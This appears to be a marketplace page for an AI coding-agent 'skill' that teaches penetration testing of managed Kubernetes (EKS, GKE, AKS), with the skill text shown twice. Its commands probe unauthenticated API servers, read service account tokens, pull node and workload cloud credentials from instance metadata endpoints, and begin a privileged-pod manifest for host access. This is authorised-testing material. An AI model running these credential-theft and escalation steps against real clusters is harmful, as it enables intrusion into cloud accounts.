/attacking-eks-gke-aks
Assess managed Kubernetes clusters on EKS, GKE, and AKS by exploiting the seams between cloud IAM and Kubernetes RBAC -- IRSA/OIDC trust abuse, Workload Identity Federation, pod-to-IMDS escalation, aws-auth ConfigMap takeover, node pool service account abuse, and AAD integration
$ npx -y skills add trilwu/secskills --skill attacking-eks-gke-aks --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/attacking-eks-gke-aks
Context preview
The summary Claude sees to decide when to auto-load this skill.
Assess managed Kubernetes clusters on EKS, GKE, and AKS by exploiting the seams between cloud IAM and Kubernetes RBAC -- IRSA/OIDC trust abuse, Workload Identity Federation, pod-to-IMDS escalation, aws-auth ConfigMap takeover, node pool service account abuse, and AAD integration
SKILL.md
attacking-eks-gke-aks.SKILL.mdname: attacking-eks-gke-aks
description: Assess managed Kubernetes clusters on EKS, GKE, and AKS by exploiting the seams between cloud IAM and Kubernetes RBAC -- IRSA/OIDC trust abuse, Workload Identity Federation, pod-to-IMDS escalation, aws-auth ConfigMap takeover, node pool service account abuse, and AAD integration weaknesses. Use when pentesting a managed k8s cluster, reviewing RBAC in EKS/GKE/AKS, testing pod-to-cloud escalation, or assessing network policy enforcement across namespaces.
verified: 2026-07-27
Attacking Managed Kubernetes (EKS, GKE, AKS)
Managed Kubernetes is a special target because it operates across two independent authorization planes: the cloud provider's IAM layer and Kubernetes' own RBAC layer. Each plane has its own identities, policies, and trust boundaries. The escalation paths live at the seams -- where a Kubernetes service account maps to a cloud IAM role, where a pod inherits a node's cloud credentials via the instance metadata service, or where a cluster-admin binding was granted through a cloud identity mapping that nobody audits. An attacker who understands only one plane misses the paths that cross into the other.
Only against systems you are authorized to test.
When to Use
- Assessing EKS, GKE, or AKS clusters during a penetration test
- Reviewing Kubernetes RBAC bindings and service account permissions
- Testing pod-to-cloud escalation via IMDS or workload identity
- Evaluating network policy enforcement and namespace isolation
- Auditing cloud-to-cluster identity mappings (aws-auth, Workload Identity, AAD)
- Checking admission controller effectiveness and bypass potential
When NOT to Use
- **Generic Docker container escapes or vanilla k8s without a cloud provider** --
use `exploiting-containers`
- **Cloud IAM and control-plane-only assessment (no cluster involved)** -- use
`exploiting-cloud-platforms`
- **Defending or hardening the cluster rather than attacking it** -- use
`defending-kubernetes`
- **SSRF hitting IMDS from a web application, not from inside a pod** -- use
`exploiting-ssrf`
- **Writing detection rules for the attacks described here** -- use
`engineering-detections`
Cluster Discovery and Unauthenticated Access
# Discover clusters
aws eks list-clusters --region us-east-1 # EKS
gcloud container clusters list # GKE
az aks list # AKS
# Unauthenticated API server check
curl -k https://<api-server>:443/api/v1/namespaces
curl -k https://<api-server>:443/version
# Anonymous RBAC check -- system:anonymous may have bindings
kubectl auth can-i --list --as=system:anonymous
# Kubelet read-only port (10255) -- often disabled, worth checking
curl http://<node-ip>:10255/pods
If the API server returns resources to unauthenticated requests, the cluster has anonymous auth or a misconfigured binding on `system:unauthenticated`.
RBAC Enumeration
# What can the current identity do?
kubectl auth can-i --list
kubectl auth can-i --list --namespace kube-system
# Check for cluster-admin bindings
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.roleRef.name=="cluster-admin") |
{name: .metadata.name, subjects: .subjects}'
# Examine a service account token (JWT)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Find overprivileged roles (wildcard on both resources and verbs)
kubectl get clusterroles -o json | \
jq '.items[] | select(.rules[]? | .resources[]? == "*" and .verbs[]? == "*") |
.metadata.name'
# Who can create pods? Who can read secrets?
kubectl auth can-i create pods --as=system:serviceaccount:NAMESPACE:SA_NAME
kubectl auth can-i get secrets --all-namespaces --as=system:serviceaccount:NAMESPACE:SA_NAMEAny non-system binding to cluster-admin is a finding. Cloud provider system components sometimes hold cluster-admin legitimately; distinguish those from human or workload bindings.
Pod-to-Cloud Escalation
EKS: IMDS from Pods
# IMDSv1 -- single unauthenticated GET from any pod (unless blocked)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>
# IMDSv2 -- EKS sets default hop limit to 1 on Nitro instances, which blocks
# IMDSv2 from pods (extra network hop decrements TTL to 0). If hop limit >= 2:
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>
# Credentials returned are the EC2 node role, not the pod's IRSA role.
aws sts get-caller-identity # confirm which role you hold
GKE: Metadata from Pods
# GKE metadata server -- requires Metadata-Flavor header
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"
# With Workload Identity: metadata server returns a token scoped to the k8s
# SA's bound GCP SA. Without it: every pod gets the node pool's GCP SA creds.
AKS: Pod Identity and IMDS
# Azure IMDS from a pod
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Pod identity (deprecated but still deployed): NMI daemonset assigns managed
# identities. If misconfigured, pods request tokens for any identity on node.
# Workload Identity (current): projected SA token exchanged for AAD token.
env | grep -i azure
cat $AZURE_FEDERATED_TOKEN_FILE 2>/dev/null
Node Compromise Paths
# Privileged pod -- full host access
apiVersion: v1
kind: Pod
metadata:
name: priv
Read more
name: attacking-eks-gke-aks description: Assess managed Kubernetes clusters on EKS, GKE, and AKS by exploiting the seams between cloud IAM and Kubernetes RBAC -- IRSA/OIDC trust abuse, Workload Identity Federation, pod-to-IMDS escalation, aws-auth ConfigMap takeover, node pool service account abuse, and AAD integration weaknesses. Use when pentesting a managed k8s cluster, reviewing RBAC in EKS/GKE/AKS, testing pod-to-cloud escalation, or assessing network policy enforcement across namespaces. verified: 2026-07-27
Attacking Managed Kubernetes (EKS, GKE, AKS)
Managed Kubernetes is a special target because it operates across two independent authorization planes: the cloud provider's IAM layer and Kubernetes' own RBAC layer. Each plane has its own identities, policies, and trust boundaries. The escalation paths live at the seams -- where a Kubernetes service account maps to a cloud IAM role, where a pod inherits a node's cloud credentials via the instance metadata service, or where a cluster-admin binding was granted through a cloud identity mapping that nobody audits. An attacker who understands only one plane misses the paths that cross into the other.
Only against systems you are authorized to test.
When to Use
- Assessing EKS, GKE, or AKS clusters during a penetration test
- Reviewing Kubernetes RBAC bindings and service account permissions
- Testing pod-to-cloud escalation via IMDS or workload identity
- Evaluating network policy enforcement and namespace isolation
- Auditing cloud-to-cluster identity mappings (aws-auth, Workload Identity, AAD)
- Checking admission controller effectiveness and bypass potential
When NOT to Use
- **Generic Docker container escapes or vanilla k8s without a cloud provider** --
use `exploiting-containers`
- **Cloud IAM and control-plane-only assessment (no cluster involved)** -- use
`exploiting-cloud-platforms`
- **Defending or hardening the cluster rather than attacking it** -- use
`defending-kubernetes`
- **SSRF hitting IMDS from a web application, not from inside a pod** -- use
`exploiting-ssrf`
- **Writing detection rules for the attacks described here** -- use
`engineering-detections`
Cluster Discovery and Unauthenticated Access
# Discover clusters aws eks list-clusters --region us-east-1 # EKS gcloud container clusters list # GKE az aks list # AKS # Unauthenticated API server check curl -k https://<api-server>:443/api/v1/namespaces curl -k https://<api-server>:443/version # Anonymous RBAC check -- system:anonymous may have bindings kubectl auth can-i --list --as=system:anonymous # Kubelet read-only port (10255) -- often disabled, worth checking curl http://<node-ip>:10255/pods
If the API server returns resources to unauthenticated requests, the cluster has anonymous auth or a misconfigured binding on `system:unauthenticated`.
RBAC Enumeration
# What can the current identity do?
kubectl auth can-i --list
kubectl auth can-i --list --namespace kube-system
# Check for cluster-admin bindings
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.roleRef.name=="cluster-admin") |
{name: .metadata.name, subjects: .subjects}'
# Examine a service account token (JWT)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Find overprivileged roles (wildcard on both resources and verbs)
kubectl get clusterroles -o json | \
jq '.items[] | select(.rules[]? | .resources[]? == "*" and .verbs[]? == "*") |
.metadata.name'
# Who can create pods? Who can read secrets?
kubectl auth can-i create pods --as=system:serviceaccount:NAMESPACE:SA_NAME
kubectl auth can-i get secrets --all-namespaces --as=system:serviceaccount:NAMESPACE:SA_NAMEAny non-system binding to cluster-admin is a finding. Cloud provider system components sometimes hold cluster-admin legitimately; distinguish those from human or workload bindings.
Pod-to-Cloud Escalation
EKS: IMDS from Pods
# IMDSv1 -- single unauthenticated GET from any pod (unless blocked) curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE> # IMDSv2 -- EKS sets default hop limit to 1 on Nitro instances, which blocks # IMDSv2 from pods (extra network hop decrements TTL to 0). If hop limit >= 2: TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE> # Credentials returned are the EC2 node role, not the pod's IRSA role. aws sts get-caller-identity # confirm which role you hold
GKE: Metadata from Pods
# GKE metadata server -- requires Metadata-Flavor header curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" # With Workload Identity: metadata server returns a token scoped to the k8s # SA's bound GCP SA. Without it: every pod gets the node pool's GCP SA creds.
AKS: Pod Identity and IMDS
# Azure IMDS from a pod curl -s -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" # Pod identity (deprecated but still deployed): NMI daemonset assigns managed # identities. If misconfigured, pods request tokens for any identity on node. # Workload Identity (current): projected SA token exchanged for AAD token. env | grep -i azure cat $AZURE_FEDERATED_TOKEN_FILE 2>/dev/null
Node Compromise Paths
# Privileged pod -- full host access apiVersion: v1 kind: Pod metadata: name: priv
**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

